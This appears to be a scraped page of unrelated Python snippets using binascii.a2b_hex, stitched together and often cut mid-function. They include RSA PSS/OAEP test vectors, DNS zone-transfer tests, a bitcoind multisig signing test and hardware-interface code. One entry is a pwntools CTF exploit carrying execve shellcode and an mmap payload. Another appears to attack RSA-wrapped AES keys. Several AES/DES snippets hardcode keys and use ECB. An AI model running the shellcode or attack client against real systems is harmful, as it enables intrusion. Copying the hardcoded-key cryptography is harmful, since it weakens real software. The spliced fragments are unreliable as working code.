                '00 00 00 00 00 00 00 00 37 b6 6a e0 44 58 43 35\
        3d 47 ec b0 b4 fd 14 c1 10 e6 2d 6a e3 b5 d5 d0\
        02 c1 bc e5 0c 2b 65 ef 88 a1 88 d8 3b ce 7e 61'.replace(" ", ""),
                'utf-8'))

        # H:
        H = a2b_hex(
            bytes(
                'df 1a 89 6f 9d 8b c8 16 d9 7c d7 a2 c4 3b ad 54\
        6f be 8c fe'.replace(" ", ""), 'utf-8'))

        # DB:
        DB = a2b_hex(
            bytes(
                '00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
        00 00 00 00 00 00 01 e3 b5 d5 d0 02 c1 bc e5 0c\
        2b 65 ef 88 a1 88 d8 3b ce 7e 61'.replace(" ", ""), 'utf-8'))

        # dbMask:
        dbMask = a2b_hex(
            bytes(
                '66 e4 67 2e 83 6a d1 21 ba 24 4b ed 65 76 b8 67\
        d9 a4 47 c2 8a 6e 66 a5 b8 7d ee 7f bc 7e 65 af\
        50 57 f8 6f ae 89 84 d9 ba 7f 96 9a d6 fe 02 a4\
        d7 5f 74 45 fe fd d8 5b 6d 3a 47 7c 28 d2 4b a1\
        e3 75 6f 79 2d d1 dc e8 ca 94 44 0e cb 52 79 ec\
        d3 18 3a 31 1f c8 97 39 a9 66 43 13 6e 8b 0f 46\
        5e 87 a4 53 5c d4 c5 9b 10 02 8d'.replace(" ", ""), 'utf-8'))

        # maskedDB:
        maskedDB = a2b_hex(
            bytes(
                '66 e4 67 2e 83 6a d1 21 ba 24 4b ed 65 76 b8 67\
        d9 a4 47 c2 8a 6e 66 a5 b8 7d ee 7f bc 7e 65 af\
        50 57 f8 6f ae 89 84 d9 ba 7f 96 9a d6 fe 02 a4\
        d7 5f 74 45 fe fd d8 5b 6d 3a 47 7c 28 d2 4b a1\
        e3 75 6f 79 2d d1 dc e8 ca 94 44 0e cb 52 79 ec\
        d3 18 3a 31 1f c8 96 da 1c b3 93 11 af 37 ea 4a\
        75 e2 4b db fd 5c 1d a0 de 7c ec'.replace(" ", ""), 'utf-8'))

        # Encoded message EM:
        EM = a2b_hex(
            bytes(
                '66 e4 67 2e 83 6a d1 21 ba 24 4b ed 65 76 b8 67\
        d9 a4 47 c2 8a 6e 66 a5 b8 7d ee 7f bc 7e 65 af\
        50 57 f8 6f ae 89 84 d9 ba 7f 96 9a d6 fe 02 a4\
        d7 5f 74 45 fe fd d8 5b 6d 3a 47 7c 28 d2 4b a1\
        e3 75 6f 79 2d d1 dc e8 ca 94 44 0e cb 52 79 ec\
        d3 18 3a 31 1f c8 96 da 1c b3 93 11 af 37 ea 4a\
        75 e2 4b db fd 5c 1d a0 de 7c ec df 1a 89 6f 9d\
        8b c8 16 d9 7c d7 a2 c4 3b ad 54 6f be 8c fe bc'.replace(" ", ""),
                'utf-8'))

        if debug:
            print("PSS Test Vector:")
            print("M     =>", m)
            print("Mlen  =>", len(m))
            print("mHash =>", mHash)
            print("salt  =>", salt)
            print("M'    =>", mPrime)
            print("H     =>", H)
            print("DB    =>", DB)
            print("dbmask=>", dbMask)
            print("masked=>", maskedDB)
            print("EM    =>", EM)
            print("EMLen =>", len(EM))

        pss = PSSPadding()
        realEM = pss.encode(m, len(EM) * 8, salt)
        self.assertEqual(EM, realEM)
Beispiel #33
0
    def testOEAPVector1(self):
        # OAEP Test vector taken from Appendix C
        #ftp://ftp.rsa.com/pub/rsalabs/rsa_algorithm/rsa-oaep_spec.pdf

        # --------------------------------------------------------------------------------
        # Message:
        m = a2b_hex(
            bytes(
                'd4 36 e9 95 69 fd 32 a7 c8 a0 5b bc 90 d3 2c 49'.replace(
                    ' ', ''), 'utf-8'))
        label = ""
        lhash = a2b_hex(
            bytes(
                "da 39 a3 ee 5e 6b 4b 0d 32 55 bf ef 95 60 18 90 af d8 07 09".
                replace(' ', ""), 'utf-8'))
        DB = a2b_hex(
            bytes(
                "da 39 a3 ee 5e 6b 4b 0d 32 55 bf ef 95 60 18 90 af d8 07 09 00 00 00 00\
                         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
                         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
                         00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 d4 36 e9 95 69\
                         fd 32 a7 c8 a0 5b bc 90 d3 2c 49".replace(" ", ""),
                'utf-8'))

        seed = a2b_hex(
            bytes(
                "aa fd 12 f6 59 ca e6 34 89 b4 79 e5 07 6d de c2 f0 6c b5 8f".
                replace(' ', ''), 'utf-8'))
        #dbmask = dbMask = MGF (seed , 107):
        dbmask = a2b_hex(
            bytes(
                "06 e1 de b2 36 9a a5 a5 c7 07 d8 2c 8e 4e 93 24 8a c7 83 de e0 b2 c0 46\
                         26 f5 af f9 3e dc fb 25 c9 c2 b3 ff 8a e1 0e 83 9a 2d db 4c dc fe 4f f4\
                         77 28 b4 a1 b7 c1 36 2b aa d2 9a b4 8d 28 69 d5 02 41 21 43 58 11 59 1b\
                         e3 92 f9 82 fb 3e 87 d0 95 ae b4 04 48 db 97 2f 3a c1 4e af f4 9c 8c 3b\
                         7c fc 95 1a 51 ec d1 dd e6 12 64".replace(" ", ""),
                'utf-8'))
        #maskedDB
        #seedMask = M GF (maskedDB, 20):
        seedMask = a2b_hex(
            bytes(
                "41 87 0b 5a b0 29 e6 57 d9 57 50 b5 4c 28 3c 08 72 5d be a9".
                replace(' ', ''), 'utf-8'))
        maskedSeed = a2b_hex(
            bytes(
                "eb 7a 19 ac e9 e3 00 63 50 e3 29 50 4b 45 e2 ca 82 31 0b 26".
                replace(' ', ''), 'utf-8'))

        #EM = maskedSeed maskedDB
        EM = a2b_hex(
            bytes(
                "00 eb 7a 19 ac e9 e3 00 63 50 e3 29 50 4b 45 e2 ca 82 31 0b 26 dc d8 7d 5c\
                            68 f1 ee a8 f5 52 67 c3 1b 2e 8b b4 25 1f 84 d7 e0 b2 c0 46 26 f5 af f9\
                            3e dc fb 25 c9 c2 b3 ff 8a e1 0e 83 9a 2d db 4c dc fe 4f f4 77 28 b4 a1\
                            b7 c1 36 2b aa d2 9a b4 8d 28 69 d5 02 41 21 43 58 11 59 1b e3 92 f9 82\
                            fb 3e 87 d0 95 ae b4 04 48 db 97 2f 3a c1 4f 7b c2 75 19 52 81 ce 32 d2\
                            f1 b7 6d 4d 35 3e 2d".replace(" ", ''), 'utf-8'))

        if debug:
            print("Test Vector 1:")
            print("mesg  =>", m)
            print("label =>", label)
            print("lhash =>", lhash)  #Correct
            print("DB    =>", DB)  #Correct
            print("DBMask=>", dbmask)  #Correct
            print("seedMask=>", seedMask)  #Correct
            print("maskedseed=>", maskedSeed)

        c = OAEPEncryptionPadding()
        E = c.encode(m, 128, "", seed)
        self.assertEqual(EM, E)
Beispiel #34
0
 def decrypt(self, contain):
     item = AES.new(self.key, self.mode, self.key)
     ans = item.decrypt(a2b_hex(contain))
     return ans.rstrip('\0')
Beispiel #35
0
def test_bitcoind_cosigning(dev, bitcoind, start_sign, end_sign, import_ms_wallet, clear_ms, explora, try_sign, need_keypress, addr_style):
    # Make a P2SH wallet with local bitcoind as a co-signer (and simulator)
    # - send an receive various
    # - following text of <https://github.com/bitcoin/bitcoin/blob/master/doc/psbt.md>
    # - the constructed multisig walelt will only work for a single pubkey on core side
    # - before starting this test, have some funds already deposited to bitcoind testnet wallet
    from pycoin.encoding import sec_to_public_pair
    from binascii import a2b_hex
    import re

    if addr_style == 'legacy':
        addr_fmt = AF_P2SH
    elif addr_style == 'p2sh-segwit':
        addr_fmt = AF_P2WSH_P2SH
    elif addr_style == 'bech32':
        addr_fmt = AF_P2WSH
    
    try:
        addr, = bitcoind.getaddressesbylabel("sim-cosign").keys()
    except:
        addr = bitcoind.getnewaddress("sim-cosign")

    info = bitcoind.getaddressinfo(addr)
    #pprint(info)

    assert info['address'] == addr
    bc_xfp = swab32(int(info['hdmasterfingerprint'], 16))
    bc_deriv = info['hdkeypath']        # example: "m/0'/0'/3'"
    bc_pubkey = info['pubkey']          # 02f75ae81199559c4aa...

    pp = sec_to_public_pair(a2b_hex(bc_pubkey))

    # No means to export XPUB from bitcoind! Still. In 2019.
    # - this fake will only work for for one pubkey value, the first/topmost
    node = BIP32Node('XTN', b'\x23'*32, depth=len(bc_deriv.split('/'))-1,
                        parent_fingerprint=a2b_hex('%08x' % bc_xfp), public_pair=pp)

    keys = [
        (bc_xfp, None, node),
        (1130956047, None, BIP32Node.from_hwif('tpubD8NXmKsmWp3a3DXhbihAYbYLGaRNVdTnr6JoSxxfXYQcmwVtW2hv8QoDwng6JtEonmJoL3cNEwfd2cLXMpGezwZ2vL2dQ7259bueNKj9C8n')),     # simulator: m/45'
    ]

    M,N=2,2

    clear_ms()
    import_ms_wallet(M, N, keys=keys, accept=1, name="core-cosign")

    cc_deriv = "m/45'/55"
    cc_pubkey = B2A(BIP32Node.from_hwif(simulator_fixed_xprv).subkey_for_path(cc_deriv[2:]).sec())

    

    # NOTE: bitcoind doesn't seem to implement pubkey sorting. We have to do it.
    resp = bitcoind.addmultisigaddress(M, list(sorted([cc_pubkey, bc_pubkey])),
                                                'shared-addr-'+addr_style, addr_style)
    ms_addr = resp['address']
    bc_redeem = a2b_hex(resp['redeemScript'])

    assert bc_redeem[0] == 0x52

    def mapper(cosigner_idx):
        return list(str2ipath(cc_deriv if cosigner_idx else bc_deriv))

    scr, pubkeys, xfp_paths = make_redeem(M, keys, mapper)

    assert scr == bc_redeem

    # check Coldcard calcs right address to match
    got_addr = dev.send_recv(CCProtocolPacker.show_p2sh_address(
                                M, xfp_paths, scr, addr_fmt=addr_fmt), timeout=None)
    assert got_addr == ms_addr
    time.sleep(.1)
    need_keypress('x')      # clear screen / start over

    print(f"Will be signing an input from {ms_addr}")

    if xfp2str(bc_xfp) in ('5380D0ED', 'EDD08053'):
        # my own expected values
        assert ms_addr in ( '2NDT3ymKZc8iMfbWqsNd1kmZckcuhixT5U4',
                            '2N1hZJ5mazTX524GQTPKkCT4UFZn5Fqwdz6',
                            'tb1qpcv2rkc003p5v8lrglrr6lhz2jg8g4qa9vgtrgkt0p5rteae5xtqn6njw9')

    # Need some UTXO to sign
    #
    # - but bitcoind can't give me that (using listunspent) because it's only a watched addr??
    #
    did_fund = False
    while 1:
        rr = explora('address', ms_addr, 'utxo')
        pprint(rr)

        avail = []
        amt = 0
        for i in rr:
            txn = i['txid']
            vout = i['vout']
            avail.append( (txn, vout) )
            amt += i['value']

            # just use first UTXO available; save other for later tests
            break

        else:
            # doesn't need to confirm, but does need to reach public testnet/blockstream
            assert not amt and not avail

            if not did_fund:
                print(f"Sending some XTN to {ms_addr}  (wait)")
                bitcoind.sendtoaddress(ms_addr, 0.0001, 'fund testing')
                did_fund = True
            else:
                print(f"Still waiting ...")

            time.sleep(2)

        if amt: break

    ret_addr = bitcoind.getrawchangeaddress()

    ''' If you get insufficent funds, even tho we provide the UTXO (!!), do this:

            bitcoin-cli importaddress "2NDT3ymKZc8iMfbWqsNd1kmZckcuhixT5U4" true true

        Better method: always fund addresses for testing here from same wallet (ie.
        got from non-multisig to multisig on same bitcoin-qt instance).
        -> Now doing that, automated, above.
    '''
    resp = bitcoind.walletcreatefundedpsbt([dict(txid=t, vout=o) for t,o in avail],
               [{ret_addr: amt/1E8}], 0,
                {'subtractFeeFromOutputs': [0], 'includeWatching': True}, True)

    assert resp['changepos'] == -1
    psbt = b64decode(resp['psbt'])

    open('debug/funded.psbt', 'wb').write(psbt)

    # patch up the PSBT a little ... bitcoind doesn't know the path for the CC's key
    ex = BasicPSBT().parse(psbt)
    cxpk = a2b_hex(cc_pubkey)
    for i in ex.inputs:
        assert cxpk in i.bip32_paths, 'input not to be signed by CC?'
        i.bip32_paths[cxpk] = pack('<3I', keys[1][0], *str2ipath(cc_deriv))

    psbt = ex.as_bytes()

    open('debug/patched.psbt', 'wb').write(psbt)

    _, updated = try_sign(psbt, finalize=False)

    open('debug/cc-updated.psbt', 'wb').write(updated)

    # have bitcoind do the rest of the signing
    rr = bitcoind.walletprocesspsbt(b64encode(updated).decode('ascii'))
    pprint(rr)

    open('debug/bc-processed.psbt', 'wt').write(rr['psbt'])
    assert rr['complete']

    # finalize and send
    rr = bitcoind.finalizepsbt(rr['psbt'], True)
    open('debug/bc-final-txn.txn', 'wt').write(rr['hex'])
    assert rr['complete']

    txn_id = bitcoind.sendrawtransaction(rr['hex'])
    print(txn_id)
Beispiel #36
0
 def write(self, data):
     length = self.ser.write(binascii.a2b_hex(data))
     return length
 def _core_uuid(self, request, response):
     response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(PAYLOAD_UUID))
     return ERROR_SUCCESS, response
    return binascii.b2a_hex(bytes(byte_array[::-1])).upper()


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("bsdl")
    parser.add_argument("pin")
    parser.add_argument("state", type=int, choices=[0, 1])
    args = vars(parser.parse_args())

    bsdl = BsdlJson(args["bsdl"])

    with openocd.OpenOcd() as ocd:
        ocd.send("irscan xc6s.tap {}".format(bsdl.sample_opcode))
        boundary_reg = binascii.a2b_hex(
            ocd.send("drscan xc6s.tap {} 0".format(bsdl.boundary_length)))

        bit_state_dict = {}
        for bit in range(0, bsdl.boundary_length):
            cell = bsdl.boundary_register[str(bit)]
            cell_spec = cell["cell_spec"]
            if cell_spec["port_id"] == "IO_{}".format(args["pin"]):
                if cell_spec["function"].upper() == "OUTPUT3":
                    disable_spec = cell["input_or_disable_spec"]
                    control_cell_number = int(disable_spec["control_cell"])
                    disable_value = int(disable_spec["disable_value"])
                    enable_value = 0 if disable_value == 1 else 1
                    bit_state_dict[control_cell_number] = enable_value
                    bit_state_dict[bit] = args["state"]

        bit_settings = get_bit_settings(bit_state_dict,
    def test_dispatch_opcode_query_AXFR_rr_over_max_size(self):
        # Query is for example.com. IN AXFR
        # id 18883
        # opcode QUERY
        # rcode NOERROR
        # flags AD
        # edns 0
        # payload 4096
        # ;QUESTION
        # example.com. IN AXFR
        # ;ANSWER
        # ;AUTHORITY
        # ;ADDITIONAL
        payload = ("49c300200001000000000001076578616d706c6503636f6d0000fc0001"
                   "0000291000000000000000")

        expected_response = [
            # Initial SOA
            (b"49c384000001000100000000076578616d706c6503636f6d0000fc0001c00c0"
             b"006000100000e10002f036e7331076578616d706c65036f726700076578616d"
             b"706c65c00c551c063900000e10000002580001518000000e10"),

            # SRVFAIL
            (""),
        ]

        # Set the max-message-size to 128
        self.config(max_message_size=128, group='service:mdns')

        zone = objects.Zone.from_dict({
            'name': 'example.com.',
            'ttl': 3600,
            'serial': 1427899961,
            'email': '*****@*****.**',
        })

        def _find_recordsets_axfr(context, criterion):
            if criterion['type'] == 'SOA':
                return [['UUID1', 'SOA', '3600', 'example.com.',
                         'ns1.example.org. example.example.com. 1427899961 '
                         '3600 600 86400 3600', 'ACTION']]

            elif criterion['type'] == '!SOA':
                return [
                    ['UUID2', 'NS', '3600', 'example.com.',
                    'a' * 63 + '.' + 'a' * 63 + '.', 'ACTION'],
                ]

        with mock.patch.object(self.storage, 'find_zone',
                               return_value=zone):
            with mock.patch.object(self.storage, 'find_recordsets_axfr',
                                   side_effect=_find_recordsets_axfr):
                request = dns.message.from_wire(binascii.a2b_hex(payload))
                request.environ = {'addr': self.addr, 'context': self.context}

                response_generator = self.handler(request)

                # Validate the first response
                response_one = next(response_generator).get_wire()
                self.assertEqual(
                    expected_response[0], binascii.b2a_hex(response_one))

                # Validate the second response is a SERVFAIL
                response_two = next(response_generator)
                self.assertEqual(
                    dns.rcode.SERVFAIL, response_two.rcode())

                # Ensure a StopIteration is raised after the final response.
                with testtools.ExpectedException(StopIteration):
                    next(response_generator)
Beispiel #40
0
 def set_tempo_event(self, bpm):
     """Calculate the microseconds per quarter note."""
     ms_per_min = 60000000
     mpqn = a2b_hex('%06x' % (ms_per_min / bpm))
     return self.delta_time + META_EVENT + SET_TEMPO + '\x03' + mpqn
    def test_dispatch_opcode_query_AXFR(self):
        # Query is for example.com. IN AXFR
        # id 18883
        # opcode QUERY
        # rcode NOERROR
        # flags AD
        # edns 0
        # payload 4096
        # ;QUESTION
        # example.com. IN AXFR
        # ;ANSWER
        # ;AUTHORITY
        # ;ADDITIONAL
        payload = ("49c300200001000000000001076578616d706c6503636f6d0000fc0001"
                   "0000291000000000000000")

        # id 18883
        # opcode QUERY
        # rcode NOERROR
        # flags QR AA
        # ;QUESTION
        # example.com. IN AXFR
        # ;ANSWER
        # example.com. 3600 IN SOA ns1.example.org. example.example.com.
        # -> 1427899961 3600 600 86400 3600
        # mail.example.com. 3600 IN A 192.0.2.1
        # example.com. 3600 IN NS ns1.example.org.
        # ;AUTHORITY
        # ;ADDITIONAL
        expected_response = \
            (b"49c384000001000400000000076578616d706c6503636f6d0000fc0001c0"
             b"0c0006000100000e10002f036e7331076578616d706c65036f7267000765786"
             b"16d706c65c00c551c063900000e10000002580001518000000e10c00c000200"
             b"0100000e100002c029046d61696cc00c0001000100000e100004c0000201c00"
             b"c0006000100000e100018c029c03a551c063900000e10000002580001518000"
             b"000e10")

        zone = objects.Zone.from_dict({
            'name': 'example.com.',
            'ttl': 3600,
            'serial': 1427899961,
            'email': '*****@*****.**',
        })

        def _find_recordsets_axfr(context, criterion):
            if criterion['type'] == 'SOA':
                return [['UUID1', 'SOA', '3600', 'example.com.',
                         'ns1.example.org. example.example.com. 1427899961 '
                         '3600 600 86400 3600', 'ACTION']]

            elif criterion['type'] == '!SOA':
                return [
                    ['UUID2', 'NS', '3600', 'example.com.', 'ns1.example.org.',
                     'ACTION'],
                    ['UUID3', 'A', '3600', 'mail.example.com.', '192.0.2.1',
                     'ACTION'],
                ]

        with mock.patch.object(self.storage, 'find_zone',
                               return_value=zone):
            with mock.patch.object(self.storage, 'find_recordsets_axfr',
                                   side_effect=_find_recordsets_axfr):
                request = dns.message.from_wire(binascii.a2b_hex(payload))
                request.environ = {'addr': self.addr, 'context': self.context}

                response = next(self.handler(request)).get_wire()

                self.assertEqual(expected_response, binascii.b2a_hex(response))
    def test_dispatch_opcode_query_tsig_scope_zone(self):
        # Create a zone/recordset/record to query
        zone = self.create_zone(name='example.com.')
        recordset = self.create_recordset(
            zone, name='example.com.', type='A')
        self.create_record(
            zone, recordset, data='192.0.2.5')

        # Create a TSIG Key Matching the zone
        tsigkey_zone_known = self.create_tsigkey(
            name='known-zone',
            scope='ZONE',
            resource_id=zone.id)

        # DNS packet with QUERY opcode for A example.com.
        payload = ("c28901200001000000000001076578616d706c6503636f6d0000010001"
                   "0000291000000000000000")

        request = dns.message.from_wire(binascii.a2b_hex(payload))
        request.environ = {
            'addr': self.addr,
            'context': self.context,
            'tsigkey': tsigkey_zone_known,
        }

        # Ensure the Query, with the correct zone's TSIG, gives a NOERROR.
        # id 49801
        # opcode QUERY
        # rcode NOERROR
        # flags QR AA RD
        # edns 0
        # payload 8192
        # ;QUESTION
        # example.com. IN A
        # ;ANSWER
        # example.com. 3600 IN A 192.0.2.5
        # ;AUTHORITY
        # ;ADDITIONAL
        expected_response = (b"c28985000001000100000001076578616d706c6503636f"
                             b"6d0000010001c00c0001000100000e100004c000020500"
                             b"00292000000000000000")

        response = next(self.handler(request)).to_wire()

        self.assertEqual(expected_response, binascii.b2a_hex(response))

        # Ensure the Query, with the incorrect zone's TSIG, gives a REFUSED
        request.environ['tsigkey'] = self.tsigkey_zone_unknown

        # id 49801
        # opcode QUERY
        # rcode REFUSED
        # flags QR RD
        # edns 0
        # payload 8192
        # ;QUESTION
        # example.com. IN A
        # ;ANSWER
        # ;AUTHORITY
        # ;ADDITIONAL
        expected_response = (b"c28981050001000000000001076578616d706c6503636f"
                             b"6d00000100010000292000000000000000")

        response = next(self.handler(request)).to_wire()
        self.assertEqual(expected_response, binascii.b2a_hex(response))
Beispiel #43
0
 def runTest(self):
     self.assertRaises(ValueError, self.module.new, a2b_hex(self.key),
                       self.module.MODE_PGP)
    def test_dispatch_opcode_query_AXFR_multiple_messages_with_tsig(self,
            mock_multi_tsig):
        # Query is for example.com. IN AXFR
        # id 18883
        # opcode QUERY
        # rcode NOERROR
        # flags AD
        # edns 0
        # payload 4096
        # ;QUESTION
        # example.com. IN AXFR
        # ;ANSWER
        # ;AUTHORITY
        # ;ADDITIONAL
        payload = ("49c300200001000000000001076578616d706c6503636f6d0000fc0001"
                   "0000291000000000000000")

        expected_response = [
            (b"49c384000001000300000000076578616d706c6503636f6d0000fc0001c00c"
             b"0006000100000e10002f036e7331076578616d706c65036f726700076578616"
             b"d706c65c00c551c063900000e10000002580001518000000e10c00c0002000"
             b"100000e100002c029046d61696cc00c0001000100000e100004c0000201"),

            (b"49c384000001000100000000076578616d706c6503636f6d0000fc0001c00c"
             b"0006000100000e10002f036e7331076578616d706c65036f72670007657861"
             b"6d706c65c00c551c063900000e10000002580001518000000e10"),
        ]

        # Set the max-message-size to 363
        self.config(max_message_size=363, group='service:mdns')

        zone = objects.Zone.from_dict({
            'name': 'example.com.',
            'ttl': 3600,
            'serial': 1427899961,
            'email': '*****@*****.**',
        })

        def _find_recordsets_axfr(context, criterion):
            if criterion['type'] == 'SOA':
                return [['UUID1', 'SOA', '3600', 'example.com.',
                         'ns1.example.org. example.example.com. 1427899961 '
                         '3600 600 86400 3600', 'ACTION']]

            elif criterion['type'] == '!SOA':
                return [
                    ['UUID2', 'NS', '3600', 'example.com.', 'ns1.example.org.',
                     'ACTION'],
                    ['UUID3', 'A', '3600', 'mail.example.com.', '192.0.2.1',
                     'ACTION'],
                ]

        with mock.patch.object(self.storage, 'find_zone',
                               return_value=zone):
            with mock.patch.object(self.storage, 'find_recordsets_axfr',
                                   side_effect=_find_recordsets_axfr):
                request = dns.message.from_wire(binascii.a2b_hex(payload))
                request.environ = {'addr': self.addr, 'context': self.context}
                request.keyring = {request.keyname: ''}
                request.had_tsig = True
                args = [request.keyname, request.keyring[request.keyname],
                        request.fudge, request.original_id, request.tsig_error,
                        request.other_data, request.mac, request.keyalgorithm]
                response_generator = self.handler(request)
                # Validate the first response
                response_one = next(response_generator).get_wire()
                mock_multi_tsig.assert_called_with(None, *args)
                self.assertEqual(
                    expected_response[0], binascii.b2a_hex(response_one))

                # Validate the second response
                response_two = next(response_generator).get_wire()
                first_msg_ctx = mock_multi_tsig.return_value
                mock_multi_tsig.assert_called_with(first_msg_ctx, *args)
                self.assertEqual(
                    expected_response[1], binascii.b2a_hex(response_two))
Beispiel #45
0
 def record_iternext(next=None):
     oid, tid, data, next = self.base.record_iternext(next)
     return oid, tid, binascii.a2b_hex(data[2:]), next
Beispiel #46
0
from M2Crypto.EVP import Cipher
from M2Crypto import m2
from M2Crypto import util
import binascii

ENCRYPT_OP = 1
DECRYPT_OP = 0
hex1= binascii.a2b_hex("abcd")
hex2 = ord(hex1[0])
iv = '\0' * 16  # init not used for aes_128_ecb
PRIVATE_KEY = "hsylgwk-2012aaaa"


def Encrypt(data):

    cipher = Cipher(alg='aes_128_ecb', key=PRIVATE_KEY, iv=iv, op=ENCRYPT_OP)
    buf = cipher.update(data)
    buf = buf + cipher.final()
    del cipher

    output = ''
    for i in buf:
        output += '%02X' % (ord(i))
    return output


def Decrypt(data):

    #data = util.h2b(data)
    data1 = binascii.a2b_hex(data)
    #for i in len(data)/2:
Beispiel #47
0
from pwn import *
import binascii

context.log_level = "debug"

elf = "./beeper"
ENV = {"LD_PRELOAD": "./libc.so.6"}

password = "******"

shellcode = \
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
mmap_code = \
"686f6420018134240101010148b8757920612070686f5048b8616e206e6f7420625048b865722c796f7520635048b842616420" + \
"6861636b506a01586a015f6a235a4889e60f05c9c3"
mmap_code = binascii.a2b_hex(mmap_code)

inc = "m"
dec = "u"
nop = "h"

p = process(elf)


def auth():
    p.recvuntil("password:\n")

    payload = password
    payload += p8(0) * (0x71 - len(payload))
    p.sendline(payload)
Beispiel #48
0
 def runTest(self):
     self.assertRaises(TypeError, self.module.new, a2b_hex(self.key),
                       self.module.MODE_CTR)
Beispiel #49
0
key = ""
with open(serverPublicKeyFileName, 'r') as f:
    key = RSA.importKey(f.read())
    n = key.n
    e = key.e
MESSAGE_LENGTH = 2048
b = 255
ciphertext1 = ''.join(ciphertext1.split())
AESkey = ciphertext1[:512]
InAesK = int(AESkey, 16)
c1 = (InAesK * (2**(b * e)) % n)
c1bytes = long_to_bytes(c1)
#encryptedKey = key.encrypt(c1bytes, 32)[0]
GuessAESKeybin = "1" + "".zfill(255)
if hex(int(GuessAESKeybin, 2))[-1:] == 'L':
    MyguessAESKey = binascii.a2b_hex(
        hex(int(GuessAESKeybin, 2))[2:-1].zfill(64))
else:
    MyguessAESKey = binascii.a2b_hex(hex(int(GuessAESKeybin, 2))[2:].zfill(64))
#MyguessAESKey=
aes = AESCipher(MyguessAESKey)
msg = ""

try:
    # Send data
    try:
        message = aes.encrypt('THis is my test message')
    except ValueError:
        print("Client with port {} failed.".format(args.port), file=sys.stderr)
        exit(1)
    msg = c1bytes + message
    # msg: AES key encrypted by the public key of RSA
Beispiel #50
0
 def decrypt(self, text):
     plain_text = self.cryptor.decrypt(a2b_hex(text)).decode()
     return plain_text.rstrip(' ')
Beispiel #51
0
    def decrypt(self, text):

        cryptor = AES.new(self.key, self.mode, b'0000000000000000')
        plain_text = cryptor.decrypt(a2b_hex(text))
        return plain_text.rstrip(b'\0')
Beispiel #52
0
 def sendResponse(self, conn):
     answ = False
     str2b = binascii.a2b_hex(bytes('0100', 'utf-8'))
     if conn.make_request(12, str2b):
         answ = True
     return answ
Beispiel #53
0
from binascii import b2a_hex, a2b_hex
from Crypto.Cipher import DES
key = '12345678'  #长度必须是8位的
text = 'simonzhang.net '  #长度必须是8的倍数,我用空格补的
# 实例化
obj = DES.new(key)
# 加密
cryp = obj.encrypt(text)
pass_hex = b2a_hex(cryp)
print(pass_hex)
print('=' * 20)
# 解密
get_cryp = a2b_hex(pass_hex)
after_text = obj.decrypt(get_cryp)
print(after_text)
Beispiel #54
0
    def build_kext(self):
        empty_controllers = [c for c in self.controllers_historical if not any(p["selected"] for p in c["ports"])]
        response = None
        if empty_controllers:
            empty_menu = utils.TUIMenu(
                "Selection Validation",
                "Select an option: ",
                in_between=["The following controllers have no enabled ports:", ""]
                + [controller["name"] for controller in empty_controllers]
                + ["Select whether to ignore these controllers and exclude them from the map, or disable all ports on these controllers."],
                add_quit=False,
                return_number=True,
            )
            empty_menu.add_menu_option("Ignore", key="I")
            empty_menu.add_menu_option("Disable", key="D")
            response = empty_menu.start()

        model_identifier = None
        if self.settings["use_native"]:
            if platform.system() == "Darwin":
                model_identifier = plistlib.loads(subprocess.run("system_profiler -detailLevel mini -xml SPHardwareDataType".split(), stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.strip())[
                    0
                ]["_items"][0]["machine_model"]
            else:
                model_menu = utils.TUIOnlyPrint(
                    "Enter Model Identifier",
                    "Enter the model identifier: ",
                    [
                        "You are seeing this as you have selected to use native classes. Model identifier autodetection is unavailable as you are not on macOS.",
                        "Please enter the model identifier of the target system below. You can find it in System Information or with 'system_profiler -detailLevel mini SPHardwareDataType'.",
                    ],
                ).start()
                model_identifier = model_menu.strip()

        ignore = response == "I"

        template = plistlib.load((shared.resource_dir / Path("Info.plist")).open("rb"))

        menu = utils.TUIMenu("Building USBMap", "Select an option: ")
        menu.head()
        print("Generating Info.plist...")
        for controller in self.controllers_historical:
            if not any(i["selected"] for i in controller["ports"]) and ignore:
                continue

            # FIXME: ensure unique
            if controller["identifiers"].get("acpi_path"):
                if self.check_unique(lambda c: c["identifiers"]["acpi_path"].rpartition(".")[2], lambda c: "acpi_path" in c["identifiers"], controller):
                    personality_name: str = controller["identifiers"]["acpi_path"].rpartition(".")[2]
                else:
                    personality_name: str = controller["identifiers"]["acpi_path"][1:]  # Strip leading \
            elif controller["identifiers"].get("bdf"):
                personality_name: str = ":".join([str(i) for i in controller["identifiers"]["bdf"]])
            else:
                personality_name: str = controller["name"]

            if self.settings["use_native"]:
                personality = {
                    "CFBundleIdentifier": "com.apple.driver." + ("AppleUSBMergeNub" if self.settings["use_legacy_native"] else "AppleUSBHostMergeProperties"),
                    "IOClass": ("AppleUSBMergeNub" if self.settings["use_legacy_native"] else "AppleUSBHostMergeProperties"),
                    "IOProviderClass": "AppleUSBHostController",
                    "IOParentMatch": self.choose_matching_key(controller),
                    "model": model_identifier,
                }

            else:
                personality = {
                    "CFBundleIdentifier": "com.dhinakg.USBToolBox.kext",
                    "IOClass": "USBToolBox",
                    "IOProviderClass": "IOPCIDevice",
                    "IOMatchCategory": "USBToolBox",
                } | self.choose_matching_key(
                    controller
                )  # type: ignore

            personality["IOProviderMergeProperties"] = {"ports": {}, "port-count": None}

            port_name_index = {}
            highest_index = 0

            for port in controller["ports"]:
                if not port["selected"]:
                    continue

                if port["index"] > highest_index:
                    highest_index = port["index"]

                if controller["class"] == shared.USBControllerTypes.XHCI and port["class"] == shared.USBDeviceSpeeds.SuperSpeed:
                    prefix = "SS"
                elif controller["class"] == shared.USBControllerTypes.XHCI and port["class"] == shared.USBDeviceSpeeds.HighSpeed:
                    prefix = "HS"
                else:
                    prefix = "PRT"

                port_index = port_name_index.setdefault(prefix, 1)
                port_name = prefix + str(port_index).zfill(4 - len(prefix))
